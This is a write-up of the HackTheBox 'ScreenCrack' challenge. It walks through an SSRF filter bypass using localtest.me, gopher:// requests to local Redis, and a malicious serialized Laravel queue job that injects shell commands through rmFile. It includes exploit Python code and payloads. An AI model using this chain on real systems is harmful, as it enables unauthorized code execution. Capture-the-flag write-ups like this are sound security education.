webfreeunknown

ScreenCrack

HackTheBox

Task: a Laravel 10 screenshot/source-view service exposes SSRF in `/api/get-html` because localhost filtering only checks literal IPv4 hosts. Solution: use `localtest.me` plus `gopher://` to push a malicious Redis queue job and reach command injection in `rmFile`, then copy `/flag` into the web root.

$ ls tags/ techniques/
command_injectionssrf_filter_bypassgopher_redis_ssrflaravel_queue_injection

ScreenCrack — HackTheBox

Description

New screenshot service just dropped! They talk alot but can they hack it?

This challenge provides a Laravel 10 / PHP 8.1 service with two user-facing features: fetching page source and generating screenshots. The intended path is not the screenshot feature, but the HTML fetcher behind POST /api/get-html.

Challenge Summary

The application tried to prevent SSRF by rejecting literal localhost IPv4 hosts and by requiring a domain with DNS records. That check was incomplete: it never resolved the hostname and verified the resulting IP. Using localtest.me as a localhost alias let me reach local Redis via gopher://, enqueue a malicious Laravel job, and trigger command injection in App\Jobs\rmFile.

Recon

The relevant routes were:

  • GET /
  • POST /api/get-html
  • POST /api/getss

Initial testing showed that POST /api/get-html successfully fetched normal remote content such as http://example.com, so this endpoint was a good SSRF candidate.

The screenshot path was a dead end. It relied on external screenshotmachine.com, so it was not the intended local attack surface.

I also briefly considered Laravel Ignition/debug-style issues, but that was unnecessary here.

Source Analysis

1. SSRF filter weakness in /api/get-html

The vulnerable logic was in validateUrl():

private function validateUrl($url) { $parsedUrl = parse_url($url); if (!isset($parsedUrl['host'])) return false; if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) { return false; } if (!$this->isValidDomain($parsedUrl['host'])) { return false; } return true; }

This only blocked a host if it was a literal IPv4 string and local. It did not resolve a hostname and then check whether the resolved address was loopback or private.

That made localtest.me perfect:

  • it looks like a real domain,
  • it has valid DNS records,
  • it resolves to 127.0.0.1.

So a URL like gopher://localtest.me:6379/... passed validation and still hit localhost.

2. getHtmlResp() accepted gopher://

The HTML fetcher used cURL on an attacker-controlled URL, and gopher:// was accepted. That turned the SSRF into a raw TCP primitive suitable for speaking Redis.

3. Local Redis + Laravel queue worker

The application used a Redis-backed Laravel queue. The important queue key was:

laravel_database_queues:default

The queue payload format was verified from Laravel internals. The job object needed:

  • job = Illuminate\\Queue\\CallQueuedHandler@call
  • a serialized App\Jobs\rmFile object in data.command

4. Command injection sink

The final sink was:

public function deleteFile() { $filepath = $this->buildFilePath(); system("rm ".$filepath); } public function buildFilePath(): string { $filename = $this->uuid.".".$this->ext; if ($this->ext === "txt") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]); } return $this->filePath; }

Because buildFilePath() directly concatenated uuid and ext, a crafted object could inject shell metacharacters through uuid.

I used:

uuid = "x; cp /flag /www/public/flag.txt #" ext = "txt"

This produced an effective command like:

rm /www/public/src/x; cp /flag /www/public/flag.txt #.txt

The trailing # commented out the appended .txt.

Vulnerability Explanation

The full bug chain was:

  1. /api/get-html let me supply an arbitrary URL.
  2. validateUrl() blocked only literal local IPv4 strings.
  3. localtest.me resolved to 127.0.0.1, bypassing that check.
  4. cURL accepted gopher://, so SSRF could speak Redis.
  5. Redis stored a malicious Laravel queue job.
  6. The worker processed App\Jobs\rmFile.
  7. system("rm ".$filepath) gave command injection.
  8. The command copied /flag into /www/public/flag.txt.

Redis / Queue Payload Concept

The Laravel queue payload was a JSON object like this:

{ "displayName": "App\\Jobs\\rmFile", "job": "Illuminate\\Queue\\CallQueuedHandler@call", "data": { "commandName": "App\\Jobs\\rmFile", "command": "O:15:\"App\\Jobs\\rmFile\":1:{...}" } }

The serialized command contained an App\Message\FileQueue object with the injected uuid value.

The Redis side was just an RPUSH into the queue key, encoded into a gopher:// URL:

RPUSH laravel_database_queues:default <job_json> QUIT

In Python, the core idea looked like:

resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") gopher_url = f"gopher://localtest.me:6379/_{quote(resp, safe='')}"

Important Debugging Insight: QUIT mattered

One subtle point caused a lot of confusion on the live target.

My first raw Redis gopher attempts looked like failures even though the payload itself was correct. The reason was that Redis kept the connection open, so /api/get-html did not behave as a clean success from the application's point of view.

Adding a RESP QUIT command fixed that. After appending QUIT, the endpoint returned success and the saved source file contained:

+PONG +OK

That was the proof that SSRF to Redis was real and working. Without QUIT, it was easy to wrongly assume that gopher or Redis access was blocked.

Exploit Chain

Step 1: confirm /api/get-html works

Sending POST /api/get-html with http://example.com succeeded, confirming the endpoint could fetch remote content.

Step 2: confirm Redis SSRF

I sent a gopher URL to localtest.me:6379 containing Redis PING followed by QUIT. The saved source file showed +PONG and +OK, confirming SSRF into local Redis.

Step 3: build the malicious Laravel job

The exploit script created a serialized App\Jobs\rmFile object whose nested FileQueue.uuid field contained:

x; cp /flag /www/public/flag.txt #

Step 4: enqueue it through Redis

The payload was wrapped in a Laravel queue JSON envelope and pushed to:

laravel_database_queues:default

using RPUSH over gopher://.

Step 5: wait for the worker

After a short wait, the Redis-backed worker picked up the job and executed the injected shell command.

Step 6: retrieve the flag

Once the command copied /flag into the public web root, I fetched:

/flag.txt

and got the flag.

Exploit Snippet

This is the key part of the working script:

def build_command_object(command: str) -> str: injected_uuid = f"x; {command} #" file_queue = php_object( "App\\Message\\FileQueue", [ ("filePath", php_null()), ("uuid", php_string(injected_uuid)), ("ext", php_string("txt")), ], ) return php_object("App\\Jobs\\rmFile", [("fileQueue", file_queue)]) def build_gopher_url(command: str): command_object = build_command_object(command) job_json = build_job_json(command_object) resp = resp_command("RPUSH", "laravel_database_queues:default", job_json) resp += resp_command("QUIT") return f"gopher://localtest.me:6379/_{urllib.parse.quote(resp, safe='')}"

What did not matter

  • /api/getss was not the intended path.
  • Ignition probing was unnecessary.
  • Raw Redis SSRF without RESP QUIT was misleading and looked broken.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups